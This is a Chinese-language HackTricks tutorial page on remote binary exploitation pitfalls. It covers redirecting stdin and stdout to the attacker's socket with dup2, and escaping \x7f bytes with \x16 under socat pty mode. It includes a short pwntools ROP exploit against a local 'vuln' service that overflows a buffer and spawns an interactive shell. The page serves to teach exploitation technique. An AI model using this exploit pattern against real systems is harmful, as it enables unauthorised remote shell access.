Common Exploiting Problems

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

远程利用中的文件描述符

当向调用**system('/bin/sh')**的远程服务器发送利用时,这将在服务器进程中执行,/bin/sh将期望从stdin(FD:0)接收输入,并将输出打印在stdout和stderr中(FDs 12)。 因此,攻击者将无法与shell进行交互。

修复此问题的一种方法是假设服务器启动时创建了FD编号3(用于监听),然后,您的连接将在**FD编号4中。 因此,可以使用系统调用dup2**将stdin(FD 0)和stdout(FD 1)复制到FD 4(攻击者连接的FD),从而使得一旦执行后可以联系shell。

这里的利用示例:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

请注意,socat已经将**stdinstdout传输到套接字。但是,pty模式包括DELETE字符**。因此,如果您发送\x7fDELETE-),它将删除您的利用程序的前一个字符

为了绕过这个问题,必须在发送任何\x7f之前添加转义字符\x16

在这里你可以 找到这种行为的示例

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)
  • 您在网络安全公司工作吗? 您想看到您的公司在HackTricks中被广告吗? 或者您想访问PEASS的最新版本或下载PDF格式的HackTricks吗? 请查看订阅计划!

  • 发现我们的独家NFTs收藏品The PEASS Family

  • 加入 💬 Discord群组](https://discord.gg/hRep4RUj7f) 或电报群组](https://t.me/peass) 或在Twitter上关注我 🐦@carlospolopm

  • 通过向hacktricks repo](https://github.com/carlospolop/hacktricks) hacktricks-cloud repo **提交PR来分享您的黑客技巧。

最后更新于